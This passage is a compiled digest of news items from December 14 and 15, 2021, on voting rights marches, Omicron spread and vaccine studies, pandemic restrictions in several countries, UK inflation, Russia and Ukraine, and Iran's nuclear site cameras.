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HEADLINE	12/15 Activists plan voting rights marches in Jan.
SOURCE	https://www.nytimes.com/2021/12/15/us/voting-rights-king-family.html

WASHINGTON — Frustrated with President Biden and congressional Democrats for failing to enact voting rights legislation this year, progressive advocacy groups and descendants of the Rev. Martin Luther King Jr. are planning to use the January holiday commemorating the civil rights leader's birth to call for more aggressive efforts to overcome Republican opposition.

With two measures stalled on Capitol Hill, members of the King family, backed by dozens of liberal organizations, say they will take their campaign to protect voting rights on the road, holding a series of marches to promote the urgency of the issue beginning Jan. 15 in Phoenix and ending two days later in Washington, D.C., on the official holiday.

They hope to spur action, after months of stalemate in Congress, to offset new voting restrictions being imposed around the country by Republican-led legislatures. And they plan to press their case for killing the filibuster — the maneuver Republicans are using to thwart action in the Senate — condemning it as a tool for perpetuating racist policies.

The planned marches are the most vivid sign yet of activists' growing dismay with the White House and top Democrats about the party's inability to move forward on the voting rights bills. Some involved in the fight say they see no clear strategy for success, and argue that Democrats have moved too slowly even as they have pressed hard to break through Republican obstruction on other issues.

"We are calling for no celebration without voting rights legislation," said Martin Luther King III, the son of Dr. King, who is taking a lead role in organizing the events along with his wife, Arndrea Waters King.

The marches to be announced on Wednesday will take place across bridges, both to symbolize the 1965 civil rights clash on the Edmund Pettus Bridge in Selma, Ala., and to contrast Mr. Biden and congressional leaders' success in finding a way to enact a \$1 trillion infrastructure measure with their failure so far on the voting bills. The Kings and their allies say it is time for Mr. Biden to apply the same all-out approach to ensure equal access to voting.

"What we have seen in the last several months is what happens when Congress and the administration lend their full weight behind an idea," Mrs. King said, referring to the infrastructure measure. "Now it is time to use that same power for the people."

Mr. Biden has at times seemed committed to using his influence to advance the voting measures — even saying he was willing to "fundamentally alter" the filibuster — but he has also said that any action would have to await approval of sweeping domestic policy legislation.

That bill remains tied up, relegating the voting rights bills — the Freedom to Vote Act and the John Lewis Voting Rights Advancement Act — to the background even as their supporters say time is of the essence to enact new federal rules before next year's elections.

"We can't wait any longer," Senator Tim Kaine, Democrat of Virginia and one of a group of senators trying to find a way forward, [wrote on Twitter](#) on Tuesday. "The Senate needs to act on voting rights ASAP."

But overcoming a Republican filibuster on an issue on which Senator Mitch McConnell of Kentucky, the minority leader, is determined to thwart Democrats would require a rules change on the Senate floor. Democratic Senators Joe Manchin III of West Virginia and Kyrsten Sinema of Arizona have been adamant that they would not support such a change, leaving Democrats short of the necessary votes despite intensifying calls for action.

The topic dominated Tuesday's closed Democratic lunch as Senator Raphael Warnock, the Georgia Democrat whose own re-election could be imperiled by Georgia election law changes, gave what attendees described as a powerful speech urging his fellow Democrats to move expeditiously on voting rights.

Repeating the sentiment on the Senate floor, Mr. Warnock said if the Senate could find a way to get around the filibuster for legislation to raise the debt ceiling, [as it did last week](#), it must do the same for voting rights rather than allowing “the ceiling of our democracy to crash in around us.”

“Once we handle the debt ceiling, the Senate needs to make voting rights the very next issue we take up,” Mr. Warnock said.

In response, Mr. Manchin told his colleagues at the lunch that he continued to talk with Republicans about potential voting law changes and defended his stance, saying democracy also depended on leaving Senate rules in place.

Other senators who have previously been reluctant to alter filibuster rules — including Senators Jon Tester, Democrat of Montana, and Angus King, independent of Maine — have become more open to the idea of doing so to enact new voting rights laws. They have talked this week with Mr. Manchin about how to get over the filibuster hurdle and expressed some optimism about progress.

“I think we will get something, I really do,” Mr. Tester said.

Republicans say that Democrats are only seeking to tilt the election playing field to their own advantage and federalize what has traditionally been a state and local role in overseeing elections. They say that if state voting restrictions are considered discriminatory, it is up to the Justice Department to challenge them.

Under the Freedom to Vote Act, Congress would set minimum standards for early and mail-in voting, make Election Day a national holiday and allow requirements that voters produce identification, though the I.D. provision would be less restrictive than those Republicans have imposed. The John Lewis Voting Rights Advancement Act seeks to restore elements of the landmark Voting Rights Act weakened by two Supreme Court decisions.

In a joint interview, the Kings portrayed the filibuster — which Southern senators used for decades to block civil rights measures — as a “Jim Crow relic” employed throughout history to deny rights to minorities, and called for its abolition. They noted that they still had to work to protect voting rights for coming generations represented by their 13-year-old daughter, Yolanda Renee King, decades after her grandfather helped secure passage of the Voting Rights Act.

“I learned from my mother that every generation has to earn its freedom,” Mr. King said. “Freedom is not permanently given.”

Among the groups organizing and participating in the marches are the National Action Network, National Urban League, Planned Parenthood Action Fund, Service Employees International Union, MoveOn, Demos, the Center for Popular Democracy, Voto Latino, Sierra Club, Coalition for Peace, Faith in Public Life, When We All Vote, March For Our Lives, Bend the Arc and the African American Christian Clergy Coalition.

The Kings said they would happily cancel the demonstrations if Congress found a way to enact the legislation before Martin Luther King Jr. Day, a prospect that appears highly unlikely.

“If it does,” Mrs. King said, “then on Jan. 17, we will have a glorious celebration.”

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HEADLINE	12/15 Australia eases restrictions despite omicron
SOURCE	https://www.nytimes.com/live/2021/12/15/world/covid-omicron-vaccines#australia-eases-restrictions-even-as-it-expects-more-omicron-cases
GIST	International students and skilled workers returned to Australia for the first time in 21 months, as the country eased some coronavirus restrictions, even as health authorities predicted a sharp increase in the number of Omicron cases.

Visa holders, who had been shut out of Australia since March 2020 when noncitizens were banned from entering the country, arrived in Melbourne and Sydney on Wednesday. On the same day, the island state of Tasmania fully opened its borders to other Australian states for the first time since the start of the pandemic.

The authorities have been loosening restrictions ahead of the holidays despite surging case numbers in the states of New South Wales and Victoria, as well as concerns that any outbreaks might [overwhelm health systems](#) in states that have been largely free from the coronavirus.

In New South Wales, an outbreak stemming from a nightclub event has swelled to over 200 cases since it was first detected six days ago, the authorities said on Wednesday. Nearly 700 people attended the 1970s prom night themed event on Dec. 8. Overall, the state [reported](#) 1,360 new cases on Wednesday, compared with 804 the previous day.

The state is seeing a “very substantial increase” in infections of both the Omicron and Delta variants, Brad Hazzard, the state’s health minister, said at a news conference. He warned that based on scientific modeling, the state could see 25,000 new coronavirus cases a day by the end of January.

At the same time, the state lifted numerous pandemic restrictions. Officials said masks were no longer mandatory in most settings and unvaccinated residents, who had been barred from restaurants, gyms and retail stores, would now have the same freedoms as vaccinated residents.

In the state of Victoria, 700 people are in quarantine after a resident who visited two nightclubs on Friday tested positive for the coronavirus. Still, that state also announced a similar easing of restrictions.

While most states eased restrictions, coronavirus-free Western Australia tightened its border rules, [announcing](#) it would bar residents of New South Wales from entering the state apart from in exceptional circumstances. The state will be the last to open to the rest of the country, with its hard border expected to lift on Feb 5.

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HEADLINE	12/15 China vaccine inadequate against omicron
SOURCE	https://www.nytimes.com/live/2021/12/15/world/covid-omicron-vaccines#omicron-hong-kong-study
GIST	<p>A new study from researchers at the University of Hong Kong found that people who received two doses of a Covid-19 vaccine made by the Chinese pharmaceutical company Sinovac were unable to neutralize the new, highly infectious Omicron variant.</p> <p>The research, which was carried out on 25 vaccinated individuals, is the latest sign of the new challenge Omicron presents as it spreads across the world. The scientists found that none of the 25 subjects vaccinated with Sinovac were able to fight off the variant. The researchers said it was not yet clear whether a third shot of Sinovac would improve the results.</p> <p>Sinovac said in a statement Wednesday that while two doses of its vaccine were much less effective against Omicron, three doses might prevent infection with the variant.</p> <p>The study also showed that protection given by the Pfizer-BioNTech vaccine seemed to wane against Omicron, becoming 20 percent to 24 percent effective. These results were consistent with what other studies have found.</p> <p>The researchers advised the public in Hong Kong to get a third dose of vaccine as soon as possible, though they did not specify which kind.</p> <p>If the results are accurate, they could spell particular trouble for China, where the vaccine is commonly used. China has vaccinated more than 1 billion of its citizens, mostly with Chinese vaccines, but has relied largely on strict lockdowns and quarantines to curb the spread of the virus.</p>

	<p>In recent weeks, Chinese officials have indicated that the country's vaccination levels are approaching what they said would be required for herd immunity. However, Sinovac's weakness against the new variant, two cases of which were detected this week in two Chinese cities, could signal that the country's lockdowns and closed borders will persist.</p> <p>Beginning in September, parts of the country began to offer booster shots, and now the extra shot is widely available.</p> <p>This month a top Chinese official called for an acceleration in plans to give booster shots to older adults. In Tianjin, where one of China's two confirmed Omicron cases was found, state media wrote in a Wednesday article that "there should be no delay in getting boosters."</p> <p>Even so, far fewer people have had boosters. As of Dec. 10, 120 million people in China have had a third vaccine dose, far short of the 1.16 billion who have had two, according to state media.</p>
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HEADLINE	12/15 Omicron rapid spread could lead to wave
SOURCE	https://www.nytimes.com/live/2021/12/15/world/covid-omicron-vaccines#omicron-cdc
GIST	<p>The proportion of coronavirus cases in the United States caused by the Omicron variant has increased sharply, and may portend a significant surge in infections as soon as next month, according to new data from the Centers for Disease Control and Prevention.</p> <p>During the week that ended on Saturday, Omicron accounted for 2.9 percent of cases across the country, up from 0.4 percent in the previous week, according to agency projections released on Tuesday.</p> <p>In the region comprising New York, New Jersey, Puerto Rico and the U.S. Virgin Islands, the percentage of Omicron infections had already reached 13.1 percent.</p> <p>In a briefing on Tuesday with state and local health officials and representatives of public health labs across the nation, C.D.C. officials warned of two possible scenarios. The first was a tidal wave of infections, both Omicron and Delta, arriving as soon as next month, just as influenza and other winter respiratory infections peak.</p> <p>"The early signals say there are going to be waves coming," said Scott Becker, chief executive officer of the Association of Public Health Laboratories, who was on the call.</p> <p>"We are already expecting an uptick, just because we have seen a lot of respiratory viruses already this fall, including R.S.V., which was extensive," he added.</p> <p>Federal health officials also proposed a second scenario in which a smaller surge in Omicron cases occurs in the spring. It was unclear which forecast was more likely.</p> <p>Early evidence about the variant has only begun to emerge, and it remains unclear how often infections with Omicron lead to hospitalizations or deaths. The variant seems able to partly dodge the body's immune defenses, but scientists have not yet determined to what degree vaccination and prior infection may safeguard individuals from severe disease.</p> <p>To track variants, the C.D.C. uses a national surveillance system that collects samples, as well as genetic sequences generated by commercial laboratories, academic laboratories and state and local public health laboratories.</p> <p>The U.S. system was relatively slow to pick up cases of the variant, perhaps in part because of travel patterns or restrictive U.S. entrance rules. But the system is also constrained by blind spots and delays.</p>

Last week, the C.D.C. reported that of the [43 known infections detected](#) in the United States in the first eight days of December, 34 of the patients, or 79 percent, had been fully vaccinated when they first started showing symptoms or tested positive. Only about a third of the 43 people had traveled internationally in the two weeks before diagnosis, indicating some level of community spread of the variant.

The fight against Omicron may require the federal government to replenish funding for the response, the secretary of health and human services, Xavier Becerra, suggested on Tuesday. Mr. Becerra [told reporters](#) that about \$10 billion was left of the \$50 billion Congress had allocated for testing.

For public health labs, as for hospitals, staffing may be a challenge, Mr. Becker said.

“It’s the same staff who do molecular testing and genomic sequencing and flu surveillance,” he said. “We’re stretched already, so we have to begin to think about alternative plans, temporary staffing, bringing in people who helped during surge events last year.”

“The lab community is tired,” Mr. Becker added. “The health care community is tired. ‘Gear up, we may have another surge,’ is a tough message to hear.”

In Europe, [health officials have warned of a spike in Omicron cases](#). According to estimates on Monday, cases of the variant in Denmark, which is similar to the United States in terms of vaccination rates and average age, were doubling [every two days](#).

Dr. Tedros Adhanom Ghebreyesus, the director general of the World Health Organization, said in a news briefing on Tuesday that “Omicron is spreading at a rate we have not seen with any previous variant.”

Dr. Tedros and senior W.H.O. officials cautioned against underestimating the variant. “Even if Omicron causes less severe cases, the sheer number of cases could once again overwhelm unprepared health systems,” he said.

In the United States, state and local health officials urged Americans to take steps to prevent the spread of Covid by getting vaccinated, getting booster shots and wearing masks in public indoor settings. Families and friends gathering for the holidays must get tested before celebrating together, gathering outside if possible or, if not, in well-ventilated spaces.

“As the Delta variant continues its rapid spread in the U.S., state and territorial health leaders are becoming increasingly concerned about emerging data from Europe and South Africa that indicate the Omicron variant may be even more transmissible,” said Michael Fraser, chief executive officer of the Association of State and Territorial Health Officials.

“Hospital capacity is already at a breaking point in many states because of severe cases of Covid-19,” he added.

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HEADLINE	12/14 Ski resorts slated to open this week
SOURCE	https://www.king5.com/article/weather/mountain-recreation/western-washington-ski-areas-opening/281-34918c18-ea09-40d0-8d0a-0006531318d2
GIST	<p>SNOQUALMIE PASS, Wash. — Ski resorts across the Cascades are opening this week.</p> <p>The Summit at Snoqualmie opened to Summit and Ikon pass holders on Tuesday with a 44-inch base. According to the summit website, five of the resort's 25 lifts were running.</p> <p>Lift tickets at Snoqualmie go on sale Dec. 16.</p>

The Mount Baker ski area also [opened to pass holders Tuesday](#). Opening day for the general public is Wednesday, Dec. 15. According to the resort's website, the area received 54 inches of snow in four days. All chairlifts were operating Tuesday.

[Stevens Pass](#) opens Dec. 15. Additional snow at Stevens Pass is expected to fall Thursday through Sunday. [Mission Ridge](#) plans to start daily operations Thursday, Dec. 16.

Ditto for [White Pass](#), which plans to open Dec. 16 as "conditions look promising" with a 32-inch base at the lodge and a 52-inch base at the summit. However, skiers are advised to check the snow report for updates.

The additional ski area openings follow Crystal Mountain, [which opened to season pass holders](#) Dec. 4.

Though still a bit uncertain, the forecast for mountain snow looks promising heading into the weekend. As of Tuesday, mountain snow amounts "appear to reach at least advisory criteria," according to the National Weather Service.

Meanwhile, staffing shortages continue to impact the ability for crews with the Washington State Department of Transportation to respond to winter weather and crashes. In November, [department representatives warned drivers](#) that it won't be an "ordinary winter on our roads."

The agency said drivers should still expect quite a few inconveniences through the winter months, including:

- Certain roads and passes will be closed longer than normal during and after significant storms.
- Some roadways may only be plowed minimally compared to regularly, and others will have snow and ice for longer periods of time.
- Due to a lack of 24/7 staff in certain areas and throughout large or long-lasting storms, response times to crashes and other emergencies may be slower.
- Speed limits may be lowered in certain areas.

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HEADLINE	12/14 Campers at Spokane city hall told to leave
SOURCE	https://www.krem.com/article/news/local/spokane-city-hall-tent-campers-given-notice-leave/293-5e7508e6-e671-48e4-8e63-d5f121fed096
GIST	<p>SPOKANE, Wash. — Campers in front of Spokane City Hall protesting what they say is a lack of adequate shelter space in the city have been given notice to leave.</p> <p>After 48 hours, or by 9:54 a.m. on Thursday, the Spokane Police Department is asking campers to remove their belongings and informing them that any items left behind could be discarded. Brian Coddington, a spokesperson for the City of Spokane, explained the notice to remove property was issued due to growing safety and health concerns within the tent city protest.</p> <p>Homeless residents and advocates have been camped out in front of city hall since Thursday in hopes of encouraging the city to take action in increasing new shelters for those enduring the cold winter months.</p> <p>This comes several years after a similar protest outside city hall in December 2018. Demonstrators set up about two dozen tents in front of city hall in late November before Spokane police and city crews cleared the encampment.</p> <p>Late homeless activist Alfredo Llamado was one of those who took part in the protest. He was arrested for obstructing a law enforcement officer during the clean-up process, along with a 20-year-old man.</p> <p>Organizers have referred to both protests in front of city hall as "Camp Hope."</p>

	<p>Coddington said on Monday that low-barrier shelter availability has ranged from 91 to 100 spaces over the past three nights. Low-barrier shelters are facilities that do not require people to be sober or attend chapel. At that time, Coddington said the city had not established a timeline for moving the tents.</p> <p>However, on Tuesday, Hope House spokesperson Raelynn Barden said the shelter in downtown Spokane has 100 beds for women that have been at full capacity for the last week. On Monday night, staff turned two people away as the shelter was full.</p> <p>Some homeless residents who are taking part in the protest say they have not sought shelter space, while others say they have been turned away due to barriers at shelters. At a meeting on Monday night, Spokane City Council adopted a resolution to offer 40 hotel rooms when the 24/7 Cannon Street shelter is full.</p>
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HEADLINE	12/14 Steep rise in omicron 'slightly worrying'
SOURCE	https://www.q13fox.com/news/steep-rise-in-cases-of-omicron-variant-slightly-worrying-in-washington-state
GIST	<p>SEATTLE - The Omicron variant is beginning to pick up speed in Washington State and health experts are monitoring it closely.</p> <p>The UW Medicine Virology lab is sequencing positive COVID-19 cases, and now nearly 15% of the cases are confirmed to be Omicron.</p> <p>"It's not surprising because we've seen similar trends occur in other countries that have reported cases of Omicron, so we were expecting a rise in the number of cases. But the steepness of the rise was surprising when we saw it here," said Pavitra Roychoudhury, acting instructor at UW Medicine. "The fact that this curve is rising so rapidly just serves to sort of provide further evidence of that increased transmissibility."</p> <p>Roychoudhury said it's slightly worrying, considering just a day earlier the number of confirmed cases was only about half that figure.</p> <p>The first known case of Omicron in the U.S. happened about two weeks ago, and now about three dozen states have confirmed cases.</p> <p>A new study out of South Africa finds that two doses of the Pfizer vaccine is about 33% effective against Omicron and offers 70% protection against hospitalization.</p> <p>"In other countries that have reported it, it's sort of has leveled off after a pretty steep increase, so how that's going to play out in our state remains to be seen," said Roychoudhury. "How is it going to impact the number of cases and the number of hospitalizations? There's interest in understanding, what's the trajectory of this variant?"</p> <p>Roychoudhury said the number of Omicron cases is still considered low in Washington state, but that it will be interesting to see how it competes with the predominant Delta variant.</p> <p>"While the rise is concerning, this is not a cause for panic. We already know all the strategies that work against preventing the spread of COVID-19," said Roychoudhury.</p> <p>The State Department of Health is expected to publish the latest report on COVID-19 sequencing and variants on Wednesday.</p>
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HEADLINE	12/15 Vaccines averted deaths, hospitalizations
SOURCE	https://www.upi.com/Top_News/US/2021/12/15/report-vaccines-prevented-million-covid-19-deaths-millions-more-hospitalizations/6171639552937/

GIST	<p>Dec. 15 (UPI) -- As deaths from COVID-19 rose above 800,000 on Tuesday, a new report has concluded the number could have been far worse without vaccinations.</p> <p>The U.S. would have seen an additional 1.1 million COVID-19 deaths and more than 10.3 million hospitalizations by Nov. 2021 without a vaccination program, according to research released by the Commonwealth Fund on Tuesday.</p> <p>Without the inoculations, deaths caused by the virus would have been about 3.2 times higher and hospitalizations nearly 5 times higher for 2021, with daily deaths being as high as 21,000.</p> <p>"One year into the U.S. vaccination effort, much attention has focused on the stubborn persistence of the pandemic, which has been fueled by new, more- transmissible variants and the millions of Americans who have not gotten their shots," researchers wrote in the report. "However, the positive impact of the rapid development and deployment of highly effective vaccines - the reduction in deaths and hospitalizations - has been less obvious."</p> <p>The vaccines proved to be particularly useful over the late summer and early fall as the highly contagious Delta variant of the virus spread across the U.S., the reports said.</p> <p>Although about 60% of Americans are vaccinated, that was enough to prevent a massive wave of deaths and hospitalizations related to COVID-19, researchers found. Hospitals and health care workers continue to struggle with the strain of the pandemic, but the report said things could have been much worse.</p> <p>"It is difficult to imagine how hospitals would have coped had they been faced with 10 million people sick enough to require admission," researchers wrote.</p> <p>The Peterson Center on Healthcare and the Kaiser Family Foundation released a report last week finding that an estimated 163,000 COVID-19 deaths could have been prevented by vaccinations since they became widely available in June.</p> <p>The report found that COVID-19 was the third leading cause of death in November 2021 and in October it was the biggest cause for people aged 45 to 54.</p> <p>"By comparison, heart disease, which is typically the number one cause of death in the U.S. each year, leads to the death of about 2,000 people per day, and cancer claims about 1,600 lives per day, on average," the report said.</p>
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HEADLINE	12/14 Some NY counties won't enforce mandate
SOURCE	https://www.newsmax.com/politics/new-york-mask-vaccine-mandate/2021/12/14/id/1048686/
GIST	<p>Several New York counties say they won't enforce Gov. Kathy Hochul's mask mandate, Newsday reports, and with counties tasked with enforcement, that means no mask mandate in those areas.</p> <p>Nassau County, on Long Island, will change leadership on Jan. 1, but neither the outgoing nor incoming administrations say they plan to enforce Hochul's order, issued Friday, and which took effect on Monday. It requires all indoor places to either have a vaccine mandate or require all patrons to wear masks.</p> <p>Incoming Executive Bruce Blakeman told Newsday he will not enforce the mandate after he takes office, and a spokeswoman for Laura Curran, the current county executive, told the paper her office won't be enforcing the mandate either, though they will investigate complaints.</p> <p>"Come January 1st, my administration will move Nassau forward with a common sense approach that acknowledges the facts, science and progress made by our residents while also protecting businesses and jobs from any further damage created by government mandates," Blakeman said in a statement.</p>

	<p>"Nassau County is not in crisis, and should not be painted with the same broad brush as the rest of the state," he added. "Ninety-seven percent of adults in Nassau County have received at least their first dose of the vaccine, and Nassau hospitals have adequate capacity to handle existing demand."</p> <p>Also on Long Island, Suffolk County Executive Steve Bellone's office told Newsday that the county will enforce the mandate, but it will be through "education" of local businesses.</p> <p>Counties with leaders saying they will not enforce the mandate include Madison, Livingston, Putnam, Dutchess, Rockland, Niagara, Saratoga, and Rensselaer.</p> <p>The mandate is set to last at least through Jan. 15.</p>
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HEADLINE	12/15 SKorea sets new daily virus record
SOURCE	https://apnews.com/article/coronavirus-pandemic-health-seoul-south-korea-0aae5e29b7ba826d708e6f121f62bbb3
GIST	<p>SEOUL, South Korea (AP) — Halting its steps toward normalcy, South Korea will clamp down on social gatherings and cut the hours of some businesses to fight a record-breaking surge of the coronavirus that has led to a spike in hospitalizations and deaths.</p> <p>Prime Minister Kim Boo-kyum confirmed the government's intent to restore stricter social distancing measures during a virus meeting on Wednesday as the country set another new one-day record in infections with 7,850 cases, the fourth time this month the daily tally exceeded 7,000.</p> <p>The country's death toll is now 4,456 after 70 virus patients died in the past 24 hours, while a record 964 patients were in critical or serious condition. Officials previously said the country's medical system could buckle if the number of serious cases topped 1,000 because it would greatly hamper hospitals' ability to respond not only to COVID-19 but also to other medical conditions.</p> <p>"The government sees the current virus situation as serious and plans to enforce stronger social distancing measures," said Kim, Seoul's No. 2 behind President Moon Jae-in. "We are considering measures that include further reducing the size of allowable social gatherings and imposing business-hour restrictions, and these steps will be confirmed and announced soon."</p> <p>Some expect the new measures could be announced as early as Friday.</p> <p>The virus surge has been a rude awakening for South Korea, which significantly eased social distancing rules and fully reopened schools in November in what officials had described as a first step toward restoring pre-pandemic normalcy.</p> <p>In allowing larger social gatherings and lifting limits on indoor dining hours, officials had hoped that improving vaccination rates would suppress hospitalizations and deaths even if the virus continues to spread.</p> <p>However, there has been a surge in serious cases among people in their 60s or older, including those whose immunities have waned after being inoculated early in the vaccine rollout that began in February.</p> <p>Officials had moderately sharpened social distancing rules last week, banning private gatherings of seven or more people in the capital Seoul and nearby metropolitan regions and requiring adults to verify their vaccination status to use restaurants and other indoor venues. Kim acknowledged that such measures have not been meaningfully effective in slowing the virus.</p>
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HEADLINE	12/15 Asia food insecurity; millions go hungry
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SOURCE	https://apnews.com/article/coronavirus-pandemic-lifestyle-health-business-travel-2149ced8a963ffc5bebd87c843db8d8b
GIST	<p>BANGKOK (AP) — The prolonged pandemic and surging prices are undermining food security for millions of people in Asia, with 1.8 billion lacking access to healthy diets, a report by the UN's Food and Agricultural Organization said Wednesday.</p> <p>The report says access to food worsened in 2020 and deteriorated further this year as governments struggled to keep outbreaks at bay by restricting travel and other activities.</p> <p>With progress toward alleviating hunger stalling, the FAO is urging comprehensive measures to improve food security, part of a push toward what experts call a “food systems” approach.</p> <p>David Dawe, senior economist at the FAO's regional office for Asia and the Pacific, said the organization's food price index rose by nearly a third in the past year. The price of vegetable oils, which are critical for health, soared 74%, he said.</p> <p>Rising global commodity prices affect the costs for consumers, in “another blow to the poor, who spend a large percentage of their income on food and are struggling to recover from the impacts of COVID-19.” Dawe said.</p> <p>“Food producers have also faced more recent challenges after the initial impact of the pandemic including rising fuel and fertilizer prices,” he said.</p> <p>A transformation of systems to improve food security needs to revolve around the needs of the many small-scale farmers in the region and other vulnerable groups such as indigenous peoples, women and children, the FAO report says.</p> <p>It notes that nearly 16% of people in South Asia are undernourished and that for the region as a whole undernourishment is at its highest level in a decade, at 8.7%.</p> <p>Access to adequate food is worst in North Korea, with more than 40% of its people undernourished. But hunger is an urgent problem also in Afghanistan, Papua New Guinea and East Timor.</p> <p>Conditions across the region are still better than they were in 2000, but progress in recent years has slowed and in some cases reversed. In 10 countries in the region, more than 30% of children under 5 years old suffer from stunting, or low height for age — a common measure for how well fed they are. In another eight countries, between 20%-30% do.</p> <p>Such deprivation has long-lasting consequences, as children suffer from weaker health and fail to achieve their full potential.</p> <p>Millions among those children suffer from wasting, a potentially more dangerous condition due to inadequate food or prolonged illness. In 2020, more than 31 million children in the Asia-Pacific were affected by wasting, and that number could rise to 40 million by the end of 2022 if current trends continue.</p> <p>The FAO and others working on hunger are urging that efforts focus on broader issues than just raising the amount of food that is produced — a crucial step but one that does not ensure families can actually afford healthy diets.</p> <p>The challenge is in devising policies to improve food systems to cope with pandemics, natural disasters, poverty, political instability and other challenges that get in the way of improved access to enough food.</p>
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HEADLINE	12/15 UK inflation hits decade high
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SOURCE	https://apnews.com/article/coronavirus-pandemic-business-health-europe-prices-2e163dfba110e14755fb30b19ce35e35
GIST	<p>LONDON (AP) — Consumer prices in the United Kingdom are rising at their highest rate in over a decade as a result of soaring energy costs and blockages in the supply chain, official figures showed Wednesday, a day before a highly anticipated interest rate decision from the Bank of England.</p> <p>The Office for National Statistics found that inflation rose by 5.1% in the year to November, up dramatically from October's 4.2% with widespread surging prices across a raft of goods and services, including for fuel, energy, cars, clothing and food,</p> <p>The increase was more than the 4.8% consensus of economists' forecasts and takes inflation to its highest level since September 2011. It is likely to ramp up pressure on the central bank to raise interest rates Thursday, with inflation running at more than double the bank's target of 2%.</p> <p>Economists are split as to whether there will be a majority among the bank's nine-member Monetary Policy Committee to raise the benchmark rate from a record low of 0.1%.</p> <p>Two members backed a rate increase to 0.25% at the last meeting in early November, and it would take another three to join. But the recent emergence and spread of the omicron variant of the coronavirus has increased speculation that the panel will wait.</p> <p>With infections widely anticipated to hit levels not seen before during the pandemic and new restrictions imposed, there are worries over the already muted economic recovery in the U.K.</p> <p>"Inflation is close to being further above the target than at any point since the U.K. started targeting inflation in October 1992," said Paul Dales, chief U.K. economist at Capital Economics. "This makes tomorrow's interest rate decision look closer, but on balance we think the Bank of England is more likely to keep rates at 0.1% until it learns more about the omicron situation."</p> <p>An interest rate increase, however modest, would increase many loans and mortgages. For households juggling their Christmas budgets, it's the last thing they need.</p>
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HEADLINE	12/15 New warnings to Russia over Ukraine
SOURCE	https://apnews.com/article/europe-russia-ukraine-moscow-ursula-von-der-leyen-ee1ed777f614cc543914cf39c0c481e7
GIST	<p>BRUSSELS (AP) — The head of the European Union's executive commission warned Russia on Wednesday that the bloc has a battery of additional sanctions ready if Moscow decides to invade neighboring Ukraine.</p> <p>On the eve of an EU summit on the issue, European Commission President Ursula von der Leyen said that beyond scaling up and expanding existing sanctions, the EU can adopt "unprecedented measures with serious consequences for Russia."</p> <p>Von der Leyen told the European Parliament that there are already economic sanctions in place targeting Russia's finance, energy and sectors because of its annexation of Ukraine's Crimea Peninsula in 2014 and actions since that the West sees as increasingly aggressive.</p> <p>She did not elaborate what form any new sanctions would take.</p> <p>Germany's new chancellor, Olaf Scholz, reinforced von der Leyen's message Wednesday, telling the lower house of the German parliament that "any violation of territorial integrity will have its price -- a high price -- and we will speak with one voice on this together with our European partners and our trans-Atlantic allies."</p>

U.S. intelligence officials say Russia has moved 70,000 troops toward Ukraine's border and is preparing for a possible invasion early next year. Moscow denies it has any plans to attack Ukraine and rejects Western concerns as part of a smear campaign.

In draft conclusions for Thursday's summit of EU leaders seen by The Associated Press, the 27 nations promise that "any further military aggression against Ukraine will have massive consequences and severe cost in response."

The EU would coordinate any sanctions package with the United States and Britain.

If some nations see an attack as imminent, others, like France and Germany, believe there is still time for diplomacy to work. Scholz called for talks on the Ukraine-Russia tensions.

"We must be prepared frequently to attempt to reach agreement, attempt to break out of the spiral of escalation," Scholz told German lawmakers in an address Wednesday.

French President Emmanuel Macron and German Chancellor Olaf Scholz will have talks with Ukraine's President Volodymyr Zelenskyy in Brussels later Wednesday.

In 2015, France and Germany brought Russia and Ukraine to the negotiating table and brokered a peace agreement that helped end large-scale hostilities in eastern Ukraine, where Ukrainian forces have been fighting Russia-backed separatists since 2014.

Scholz warned that more talks "must not be misunderstood as a new German 'Ostpolitik,'" referring to West German Chancellor Willy Brandt's policy of détente toward the communist Eastern bloc in the early 1970s.

There "can only be a European 'Ostpolitik' in a united Europe" that is based on principles of international law and order that Russia committed itself to but violated with the annexation of Crimea, the chancellor said.

Efforts to reach a political settlement to the separatist conflict, which has killed more than 14,000 people in seven years, have failed. Sporadic skirmishes continue along the tense line of contact. Russia so far refuses to meet France and Germany for more peace talks on the conflict.

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HEADLINE	12/15 Iran will allow UN cameras at nuclear site
SOURCE	https://apnews.com/article/europe-middle-east-iran-iran-nuclear-united-nations-92bb9207ee7343a042512f4107a68f09
GIST	<p>TEHRAN, Iran (AP) — Iran will allow the United Nations' nuclear watchdog to reinstall cameras damaged at a site where it has centrifuge parts and manufacturing material, semiofficial Iranian news agencies reported Wednesday.</p> <p>The decision will see cameras put back at Karaj, which came under what Iran describes as a sabotage attack in June. Iran since had refused the International Atomic Energy Agency access to replace cameras damaged in the incident.</p> <p>The Vienna-based IAEA did not immediately respond to queries from The Associated Press regarding the reports by the semiofficial ISNA and Tasnim news agencies. The reports said Iran would keep all recordings from the cameras, however, part of another ongoing dispute between the agency and Tehran.</p> <p>The reports came after Iranian Foreign Minister Hossein Amirabdollahian reportedly said earlier Wednesday that Iran had "reached a good agreement" with the IAEA.</p>

	<p>Tehran blamed the Karaj assault on Israel amid a widening regional shadow war since former President Donald Trump unilaterally withdrew America from Iran's landmark nuclear accord with world powers.</p> <p>In an interview Tuesday with the AP, IAEA Director-General Rafael Mariano Grossi warned limited access to Karaj hurt international efforts to monitor Iran's program.</p> <p>"If the international community through us, through the IAEA, is not seeing clearly how many centrifuges or what is the capacity that they may have ... what you have is a very blurred image," Grossi said. "It will give you the illusion of the real image. But not the real image. This is why this is so important."</p> <p>Grossi also dismissed as "simply absurd" an Iranian allegation that saboteurs used the IAEA's cameras in the attack on the Karaj centrifuge site. Tehran has offered no evidence to support the claim, though it's another sign of the friction between inspectors and Iran.</p> <p>Negotiations continue in Vienna over trying to restore the nuclear deal. However, Iran under hard-line President Ebrahim Raisi has taken a maximalist position in negotiations.</p> <p>Anxiety is growing among European nations at the negotiating table.</p> <p>"Without swift progress, in light of Iran's fast-forwarding of its nuclear program, the (deal) will very soon become an empty shell," they recently warned.</p> <p>The U.S. has remained outside of direct talks since abandoning the accord.</p>
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HEADLINE	12/15 EU official: omicron dominant by mid-Jan
SOURCE	https://apnews.com/article/coronavirus-pandemic-business-health-europe-executive-branch-8bb518aaf1e15f6516e15f649cccd19
